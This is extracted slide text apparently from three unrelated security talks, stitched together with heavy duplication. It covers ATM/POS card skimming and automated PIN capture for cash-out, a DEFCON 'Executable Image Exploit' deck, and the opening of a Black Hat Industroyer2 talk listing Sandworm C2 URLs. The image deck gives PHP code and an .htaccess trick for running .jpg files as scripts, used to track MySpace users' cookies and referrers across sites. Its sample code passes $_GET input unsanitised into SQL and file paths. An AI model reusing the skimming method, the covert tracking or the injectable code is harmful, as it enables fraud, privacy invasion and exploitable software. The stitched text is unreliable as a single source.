Skimmer Generation is signed with
Field 55 training
EMV transaction
• Terminal
POS/ATM
• Card/Device
• Acquirer
• Bank Issuer
Step4
Step3
Step2
Step1
EMV transaction
• Terminal
POS/ATM
• Card/Device
• Acquirer
• Bank Issuer
Step4
Step3
Step2
Step1
• Terminal
POS/ATM
• Card/Device
• Acquirer
• Bank Issuer
Step4
Step3
Step2
Step1
Methods of Past Present:
Camera Method
PIN overlay
Unencrypted pin trace
We have the chip, how about the PIN?
OPEN CV
PIN radar
New Automating PIN Capture
Probing Networks and Card Settings
33
Estimating POS/ATM limits from a BIN number
What is a BIN?
POS vs ATM limit
Branch ATM vs off-network
Japanese ATMs
Chinese ATMs
Old Favorites Become New Favorites?
Shimming POS Systems
Habits of putting EMV card in early
Takes from POS limit on the in store transaction
ATM cash out is uninterrupted
Shimming bank front desk, Gas Pumps/Electric charge stations 2017+
Special Thanks to
MY WIFE AND KIDS, JESUS,
BARNABY JACK, SAMY KAMKAR,
RUSSEL RYAN, ZACK ANDERSON AND ALESSANDRO
CHIESA
PHATPAT, ECONIC, TOTAL DOWNER
RANDOM PEOPLE IN CHATROOMS FORUMS
36
$50,000 Prop money
So $500-$900 Per
Transaction
So at most 60
transactions
Transaction time for
online is 18-22 seconds
Card Challenge Auth
Amount Selection Based
on PAN/BIN
PIN entered /Downgraded
when available
Money comes out !!!!
No receipt selected
Demo of Automation
Senior Security Consultant/Senior Pentester
TWITTER @westonhecker
Rapid7
Weston Hecker
QUESTIONS? | pdf |
What you’ll learn
• What are the origins of this exploit.
• What are the differences between “executable”
and “Static” images?
• How to create images with PHP & GD
• How to fool servers into executing images
(instead of serving them to browsers)
• How to do cool things with images on Web 2.0
websites
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you’ll learn
• What are the origins of this exploit.
• What are the differences between “executable”
and “Static” images?
• How to create images with PHP & GD
• How to fool servers into executing images
(instead of serving them to browsers)
• How to do cool things with images on Web 2.0
websites
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you’ll learn
• What are the origins of this exploit.
• What are the differences between “executable”
and “Static” images?
• How to create images with PHP & GD
• How to fool servers into executing images
(instead of serving them to browsers)
• How to do cool things with images on Web 2.0
websites
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you’ll learn
• What are the origins of this exploit.
• What are the differences between “executable”
and “Static” images?
• How to create images with PHP & GD
• How to fool servers into executing images
(instead of serving them to browsers)
• How to do cool things with images on Web 2.0
websites
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you’ll learn
• What are the origins of this exploit.
• What are the differences between “executable”
and “Static” images?
• How to create images with PHP & GD
• How to fool servers into executing images
(instead of serving them to browsers)
• How to do cool things with images on Web 2.0
websites
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you won't learn
• This is not the GDI exploit
• This exploit works on images downloaded
from servers
• This is not a client-side exploit.
• That's not entirely true...
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you won't learn
• This is not the GDI exploit
• This exploit works on images downloaded
from servers
• This is not a client-side exploit.
• That's not entirely true...
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you won't learn
• This is not the GDI exploit
• This exploit works on images downloaded
from servers
• This is not a client-side exploit.
• That's not entirely true...
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What you won't learn
• This is not the GDI exploit
• This exploit works on images downloaded
from servers
• This is not a client-side exploit.
• That's not entirely true...
javascript image
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Goals
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
–To learn how program “executable images”
–To learn where they can be applied
–To get you started on your own applications
–This is not a “code-heavy” presentation!
Goals
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
–To learn how program “executable images”
–To learn where they can be applied
–To get you started on your own applications
–This is not a “code-heavy” presentation!
Goals
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
–To learn how program “executable images”
–To learn where they can be applied
–To get you started on your own applications
–This is not a “code-heavy” presentation!
Goals
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
–To learn how program “executable images”
–To learn where they can be applied
–To get you started on your own applications
–This is not a “code-heavy” presentation!
Who’s Schrenk?
• Long-time webbot writer
• 8th DEFCON, 3rd time speaker
• Minneapolis & Madras (Chennai)
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Who’s Schrenk?
• Long-time webbot writer
• 8th DEFCON, 3rd time speaker
• Minneapolis & Madras (Chennai)
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Who’s Schrenk?
• Long-time webbot writer
• 8th DEFCON, 3rd time speaker
• Minneapolis & Madras (Chennai)
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Who’s Schrenk?
• Long-time webbot writer
• 8th DEFCON, 3rd time speaker
• Minneapolis & Madras (Chennai)
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Who’s Schrenk?
• Long-time webbot writer
• 8th DEFCON, 3rd time speaker
• Minneapolis & Madras (Chennai)
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Who’s Schrenk?
• Long-time webbot writer
• 8th DEFCON, 3rd time speaker
• Minneapolis & Madras (Chennai)
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Exploit Origins
• To create a really good
MySpace tracker.
• Wanted to add image to
“friends” pages that looks
like this:
<IMG src=“image.php?im=test”>
• Got frustrated because
MySpace doesn’t allow
such images.
• Most web 2.0 sites don’t
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Exploit Origins
• To create a really good
MySpace tracker.
• Wanted to add image to
“friends” pages that
looks like this:
<IMG src=“image.php?im=test”>
• Got frustrated because
MySpace doesn’t allow
such images.
• Most web 2.0 sites don’t
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Exploit Origins
• To create a really good
MySpace tracker.
• Wanted to add image to
“friends” pages that
looks like this:
<IMG src=“image.php?im=test”>
• Got frustrated because
MySpace doesn’t allow
such images.
• Most web 2.0 sites don’t
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Exploit Origins
• To create a really good
MySpace tracker.
• Wanted to add image to
“friends” pages that
looks like this:
<IMG src=“image.php?im=test”>
• Got frustrated because
MySpace doesn’t allow
such images.
• Most web 2.0 sites don’t
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Exploit Origins
• MySpace won’t allow you to reference
images like <IMG src=“image.php?im=test”>
because:
– This is a program not actually an image
– It is a executable image
• May still send an image to the browser
• May also:
– Write cookies
– Track environment variables
– Access databases, Send instant messages, etc
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Exploit Origins
• MySpace won’t allow you to reference
images like <IMG src=“image.php?im=test”>
because:
– This is a program not actually an image
– It is a executable image
• May still send an image to the browser
• May also:
– Write cookies
– Track environment variables
– Access databases, Send instant messages, etc
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What is a executable image?
• Executable images are programs
• Often used when images are stored in databases
• Can dynamically deliver “altered” images
– Watermarks (with time stamp or IP addresses)
– CAPTCHAs
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What is a executable image?
• Executable images are programs
• Often used when images are stored in databases
• Can dynamically deliver “altered” images
– Watermarks (with time stamp or IP addresses)
– CAPTCHAs
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
What is a executable image?
• Executable images are programs
• Often used when images are stored in databases
• Can dynamically deliver “altered” images
– Watermarks (with time stamp or IP addresses)
– CAPTCHAs
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
You can “pull” an image from a database with code like this
<IMG SRC=“show_img.php?id=34”>
<?php
# show_img.php
// Get image (blob) from database
include("mysql_library.php");
$id = $_GET['id'];
$sql = "select IMAGE from db_table where ID = '$id'";
$img = execute_sql($sql);
//Send image to the browser
header("Content-type: image/jpeg");
echo base64_decode($img);
exit;
?>
Executable image example #1
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
You can “pull” an image from a database with code like this
<IMG SRC=“show_img.php?id=34”>
<?php
# show_img.php
// Get image (blob) from database
include("mysql_library.php");
$id = $_GET['id'];
$sql = "select IMAGE from db_table where ID = '$id'";
$img = execute_sql($sql);
//Send image to the browser
header("Content-type: image/jpeg");
echo base64_decode($img);
exit;
?>
Executable image example #1
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
• Doesn’t require any special graphics
libraries
• Image must be previously stored in
database as a blob
• Images may be referenced by index or by
name.
• Useful when web servers lack file
permissions to read/write files
Executable image example #1
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
• Doesn’t require any special graphics
libraries
• Image must be previously stored in
database as a blob
• Images may be referenced by index or by
name.
• Useful when web servers lack file
permissions to read/write files
Executable image example #1
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
• Doesn’t require any special graphics
libraries
• Image must be previously stored in
database as a blob
• Images may be referenced by index or
by name.
• Useful when web servers lack file
permissions to read/write files
Executable image example #1
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
• Doesn’t require any special graphics
libraries
• Image must be previously stored in
database as a blob
• Images may be referenced by index or
by name.
• Useful when web servers lack file
permissions to read/write files
Executable image example #1
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
You can identify the image to display in a query
string.
<img src=“some_image.php?id=riviera.jpg”>
The Executable Image Exploit
www.schrenk.com
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
<?php
// Create mime type for a jpg image
header("Content-type: image/jpeg");
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg($_GET['id']);
// Create an image and send to browser
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
// Ensure file execution is over
exit;
?>
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
<?php
// Create mime type for a jpg image
header("Content-type: image/jpeg");
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg($_GET['id']);
// Create an image and send to browser
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
// Ensure file execution is over
exit;
?>
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
<?php
// Create mime type for a jpg image
header("Content-type: image/jpeg");
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg($_GET['id']);
// Create an image and send to browser
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
// Ensure file execution is over
exit;
?>
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
<?php
// Create mime type for a jpg image
header("Content-type: image/jpeg");
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg($_GET['id']);
// Create an image and send to browser
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
// Ensure file execution is over
exit;
?>
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
<?php
// Create mime type for a jpg image
header("Content-type: image/jpeg");
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg($_GET['id']);
// Create an image and send to browser
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
// Ensure file execution is over
exit;
?>
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
http://localhost/defcon/show_referenced.php?id=alexispark.jpg
http://localhost/defcon/show_referenced.php?id=riviera.jpg
You can identify the image to display in a
query string.
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
http://localhost/defcon/show_referenced.php?id=alexispark.jpg
http://localhost/defcon/show_referenced.php?id=riviera.jpg
You can identify the image to display in a
query string.
Why do this?
Because it’s an executable program!
It mimics the actions of a real image
Executable image example #2
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
http://localhost/defcon/show_referenced.php?id=alexispark.jpg
http://localhost/defcon/show_referenced.php?id=riviera.jpg
You can identify the image to display in a
query string.
Why do this?
Because it’s an executable program!
It mimics the actions of a real image
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg( $_GET['id'] );
// Define font and font color
$font = 'arial.ttf';
$color = imagecolorallocate ($im, 255, 120, 0);
// Define executable content
$text = date("M d, Y h:m:s A", time());
$angle = rand(0, 90);
imagettftext($im, 20, $angle, 11, 301, $color, $font, $text);
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
exit;
Executable image example #3
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg( $_GET['id'] );
// Define font and font color
$font = 'arial.ttf';
$color = imagecolorallocate ($im, 255, 120, 0);
// Define executable content
$text = date("M d, Y h:m:s A", time());
$angle = rand(0, 90);
imagettftext($im, 20, $angle, 11, 301, $color, $font, $text);
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
exit;
Executable image example #3
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg( $_GET['id'] );
// Define font and font color
$font = 'arial.ttf';
$color = imagecolorallocate ($im, 255, 120, 0);
// Define executable content
$text = date("M d, Y h:m:s A", time());
$angle = rand(0, 90);
imagettftext($im, 20, $angle, 11, 301, $color, $font, $text);
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
exit;
Executable image example #3
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg( $_GET['id'] );
// Define font and font color
$font = 'arial.ttf';
$color = imagecolorallocate ($im, 255, 120, 0);
// Define executable content
$text = date("M d, Y h:m:s A", time());
$angle = rand(0, 90);
imagettftext($im, 20, $angle, 11, 301, $color, $font, $text);
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
exit;
Executable image example #3
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
// Create an image handle from an actual JPG image
$im = imagecreatefromjpeg( $_GET['id'] );
// Define font and font color
$font = 'arial.ttf';
$color = imagecolorallocate ($im, 255, 120, 0);
// Define executable content
$text = date("M d, Y h:m:s A", time());
$angle = rand(0, 90);
imagettftext($im, 20, $angle, 11, 301, $color, $font, $text);
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
imagejpeg($im);
// Destroy the old image (no longer needed)
imagedestroy($im);
exit;
Executable image example #3
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
Executable image example #3
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Result of executable image #3
The Executable Image Exploit
www.schrenk.com
• Dynamic Example
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Display images stored in databases
• Programmatically select images to display
• Dynamically produce image content
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Display images stored in databases
• Programmatically select images to display
• Dynamically produce image content
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Display images stored in databases
• Programmatically select images to display
• Dynamically produce image content
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Do anything a script can do:
– Read referrer variables,
• To see the page previous to viewing you image’s page
• To see the query string on the previous page
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Do anything a script can do:
– Read referrer variables,
• To see the page previous to viewing you image’s page
• To see the query string on the previous page
– Read & write cookies
• To track individuals
• Works across domains
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Do anything a script can do:
– Read referrer variables,
• To see the page previous to viewing you image’s page
• To see the query string on the previous page
– Read & write cookies
• To track individuals
• Works across domains
– Access databases
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Executable images Can:
• Do anything a script can do:
– Read referrer variables,
• To see the page previous to viewing you image’s page
• To see the query string on the previous page
– Read & write cookies
• To track individuals
• Works across domains
– Access databases
– Communicate via email, SMS, etc.
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Doing the dirty
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
// Write Cookie
setcookie("TestCookie", $value);
// Read Cookie
$old_cookie = $HTTP_COOKIE_VARS["TestCookie"];
// Get referer variable
$referer = $_SERVER['HTTP_REFERER'];
// Get query strings
$query_string = $_SERVER['QUERY_STRING'];
// Anything else
imagejpeg($im);
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Doing the dirty
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
// Write Cookie
setcookie("TestCookie", $value);
// Read Cookie
$old_cookie = $HTTP_COOKIE_VARS["TestCookie"];
// Get referer variable
$referer = $_SERVER['HTTP_REFERER'];
// Get query strings
$query_string = $_SERVER['QUERY_STRING'];
// Anything else
imagejpeg($im);
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Doing the dirty
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
// Write Cookie
setcookie("TestCookie", $value);
// Read Cookie
$old_cookie = $HTTP_COOKIE_VARS["TestCookie"];
// Get referer variable
$referer = $_SERVER['HTTP_REFERER'];
// Get query strings
$query_string = $_SERVER['QUERY_STRING'];
// Anything else
imagejpeg($im);
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Doing the dirty
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
// Write Cookie
setcookie("TestCookie", $value);
// Read Cookie
$old_cookie = $HTTP_COOKIE_VARS["TestCookie"];
// Get referer variable
$referer = $_SERVER['HTTP_REFERER'];
// Get query strings
$query_string = $_SERVER['QUERY_STRING'];
// Anything else
imagejpeg($im);
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Doing the dirty
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
// Write Cookie
setcookie("TestCookie", $value);
// Read Cookie
$old_cookie = $HTTP_COOKIE_VARS["TestCookie"];
// Get referer variable
$referer = $_SERVER['HTTP_REFERER'];
// Get query strings
$query_string = $_SERVER['QUERY_STRING'];
// Anything else
imagejpeg($im);
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Doing the dirty
// Create an image from the handle and send to browser
header("Content-type: image/jpeg");
// Write Cookie
setcookie("TestCookie", $value);
// Read Cookie
$old_cookie = $HTTP_COOKIE_VARS["TestCookie"];
// Get referer variable
$referer = $_SERVER['HTTP_REFERER'];
// Get query strings
$query_string = $_SERVER['QUERY_STRING'];
// Anything else
imagejpeg($im);
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
MySpace doesn't allow them!
<IMG SRC=“some_image.jpg”>
<IMG SRC=“some_image.php”>
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Fooling apache to execute .JPGs
In the .htaccess file
Tells apache to parse all files
(in this or subsequent directories) with the .jpg
extension as though they were PHP scripts!
AddType application/x-httpd-php .jpg
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Fooling apache to execute .JPGs
Once done, you can reference your
executable images like this…
<img src=“www.yourdomain.com/image.jpg”>
The Executable Image Exploit
www.schrenk.com
Example: Dynamic JPG
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Applications
Can be used on many (web 2.0) websites that let
you post comments.
– Craigs List
– Ebay
– MySpace
– Fark
– PayPal (payment page)
Also on non-web environments
– Newsgroups (NNTP)
– Email
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Applications
Can be used on many (web 2.0) websites that let
you post comments.
– Craigs List
– Ebay
– MySpace
– Fark
– PayPal (payment page)
Also on non-web environments
– Newsgroups (NNTP)
– Email
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Tracking people on MySpace
The Executable Image Exploit
www.schrenk.com
Add an inline
(executable)
image in a
MySpace
comment
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Tracking people on MySpace
When one checks
new messages or
new comments
and the comment/message contains
a executable image…
The userID is in $_SERVER['HTTP_REFERER'];
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Tracking people on MySpace
The userID lets you associate a cookie with their
identity:
http://profile.myspace.com/index.cfm?
fuseaction=user.viewprofile&friendid=userID
Anytime they revisit, you can track them.
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other MySpace fun
You can write an application that shows the
viewing habits of all your friends by sending
them each a message that contains a executable
image.
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other MySpace fun
You can show one set of pictures to your
MySpace friends, and another to set of images
to non-friends.
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other MySpace fun
You can use these same cookies to track people’s
movement on other sites (eBay, Craigslist, etc).
Since your cookies all belong to the domain that
your executable image is on, your cookies will
“appear” to function across domains.
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Spanning domains
The Executable Image Exploit
www.schrenk.com
Your Browser
eBay Cookie
eBay.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Spanning domains
The Executable Image Exploit
www.schrenk.com
Your Browser
eBay Cookie
Myspace cookie
eBay.com
MySpace.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Spanning domains
The Executable Image Exploit
www.schrenk.com
Your Browser
eBay Cookie
Your Cookie
Myspace cookie
eBay.com
MySpace.com
ex img
ex img
Your Server
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Third Party Cookies
The Executable Image Exploit
www.schrenk.com
First party cookie
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Third Party Cookies
The Executable Image Exploit
www.schrenk.com
First party cookie
Third party cookie
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
<?php
header("P3P: policyref=\"http://www.yourDomain.com/w3c/p3p.xml\", CP=\"CAO DSP COR\"");
?>
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Show high quality images to members of your
site and poor quality images to everyone else
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Embed identifying watermarks in images to
track unauthorized use
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Create eBay auctions with images that
change as you near the end of the auction
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Show different images in your eBay auction
after people see your similar ad on Craigs List
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Evaluate
websites you
want to
advertise on
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Receive an
acknowledgement when
an email is read
nonrepudiation
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Other Web 2.0 Fun
Develop images with expiration dates
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Getting ideas
Focus on applications where images can be loaded
from your server (think across domains)
Use:
• Cookies
• Referrer variables to catch query strings
Images are easy to manipulate with PHP & GD
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Getting ideas
Focus on applications where images can be loaded
from your server (think across domains).
Use:
• Cookies
• Referrer variables to catch query strings
Images are easy to manipulate with PHP & GD
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Getting ideas
Focus on applications where images can be loaded
from your server (think across domains).
Use:
• Cookies
• Referrer variables to catch query strings
Images are easy to manipulate with PHP & GD
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Defences
Watch what you put in query strings
• Sessions may be stolen if all of the session variable is
in a query string
Allow people to upload images instead of
referencing them
• Takes more server space & bandwidth
• Removes the “executable” from images.
The Executable Image Exploit
www.schrenk.com
The Executable Image Exploit
DEFCON XV Las Vegas Nevada
[email protected]
Defences
Watch what you put in query strings
• Sessions may be stolen if all of the session variable is
in a query string
Allow people to upload images instead of
referencing them
• Takes more server space & bandwidth
• Removes the “executable” from images.
The Executable Image Exploit
www.schrenk.com
Thank You! | pdf |
#BHUSA @BlackHatEvents
Industroyer2
Sandworm's Cyberwarfare Targets Ukraine's Power Grid Again
Anton Cherepanov
Robert Lipovsky
1. Sandworm (2014-2022)
2. Industroyer (2016)
3. Industroyer2 (2022)
• Attack events
• Technical analysis
4. Co-deployed malware
5. Defense
6. Wrap up
Anton Cherepanov
Senior Malware Researcher
Robert Lipovsky
Principal Threat Intelligence Researcher
@cherepanov74
@Robert_Lipovsky
Sandworm 2014-2022
Sandworm
Telebots
/Voodoo Bear
Sednit
Fancy
Bear/APT28
The Dukes
Cozy Bear/APT29
InvisiMole
Gamaredon
Buhtrap
Turla
Energetic Bear
Sources:
Sandworm
Telebots
/Voodoo Bear
GRU
Sources:
Militaire Inlichtingen
en Veiligheidsdienst
https://95.143.193.182/Franceaviatelecom8/statmach/aorta.php
https://5.61.38.31/epsiloneridani0/setattr.php
https://144.76.119.48/arrakis02/loadvers/paramctrl.php
https://78.46.40.239/SalusaSecundus2/segments/statinfo.php
https://95.143.193.131/houseatreides94/dirconf/check.php
https://46.165.222.6/BasharoftheSardaukars/tempreports/vercontrol.php
SANDWORM
.143.193.182/Franceaviatelecom8/statmach/aorta.php
61.38.31/epsiloneridani0/setattr.php
4.76.119.48/arrakis02/loadvers/paramctrl.php
.46.40.239/SalusaSecundus2/segments/statinfo.php
.143.193.131/houseatreides94/dirconf/check.php
.165.222.6/BasharoftheSardaukars/tempreports/vercontrol.php
24 Feb 2022
Russian invasion
of Ukraine
Increase in cyberattacks against Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
24 Feb 2022
Russian invasion
of Ukraine
Increase in cyberattacks against Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
Nov 2013
BlackEnergy
attacks intensify
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
